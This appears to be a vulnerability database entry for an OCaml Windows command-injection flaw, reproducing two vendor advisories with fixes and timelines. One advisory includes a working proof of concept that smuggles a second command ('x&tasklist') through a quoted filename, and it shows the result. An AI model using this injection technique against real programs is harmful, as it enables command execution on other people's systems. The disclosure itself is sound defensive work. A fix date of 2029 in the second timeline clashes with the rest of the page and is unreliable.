CVE-2026-41083

No weakness (CWE) mapping recorded.

• opam ocaml< 4.14.4osvUSpkg:opam/ocaml
• opam ocaml< 5.5.2osvUSpkg:opam/ocaml
• opam ocaml5 → 5.5.0osvUSpkg:opam/ocaml

• OSEC-2026-05Windows command execution via filename quotes.2026-06-18vendor · osvUS

  The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `&` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed. ## Exploit ```bash $ opam exec -- ocaml OCaml version 4.14.2 Enter #help;; for help. # let outfile = "x&tasklist" in let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in ignore (Sys.command cmd) ;; Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 8 K System 4 Services 0 168 K Secure System 236 Services 0 191,468 K Registry 276 Services 0 3,428 K smss.exe 608 Services 0 1,676 K csrss.exe 984 Services 0 5,928 K ``` ## Timeline - 2026-06-18 release of this security advisory - 2026-06-15 release of OCaml 4.14.4 - 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853 - 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org

• OSEC-2026-24Multiple issues in command quoting on Windows2026-10-23vendor · osvUS

  ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters ANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline ANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped Also includes the fix for [OSEC-2026-05](https://osv.dev/vulnerability/OSEC-2026-05) `Filename.quote_command` returns a quoted command line, suitable for use as an argument to `Sys.command`, `Unix.system`, and the `Unix.open_process` functions. However on Windows certain characters weren't properly escaped. `Unix.create_process` can invoke `.bat` or `.cmd` programs on Windows, and certain characters were accepted that cannot be quoted safely. ## Fix `Filename.quote_command` has been updated to correctly quote arguments. `Unix.create_process*` has been updated to reject arguments that cannot be safely quoted by raising `Failure`: > if the program [prog] is a [.bat] or [.cmd] > script and either [prog] or [args] contain characters that cannot be > securely passed to a script, such as [" | & , ; < = > ^ % "]. > If you really need to pass these characters to a script, consider > using {!Unix.system} instead. ## Am I affected? If you use `Filename.quote_command` on Windows with user supplied arguments. If you use `Unix.create_process*` or `Unix.open_process*` on Windows with `.bat` or `.cmd` programs, and user supplied arguments. ## Timeline - 2026-08-24: vulnerability was found - 2026-08-27: forwarded report to security@ocaml.org - 2029-09-05: fix merged to trunk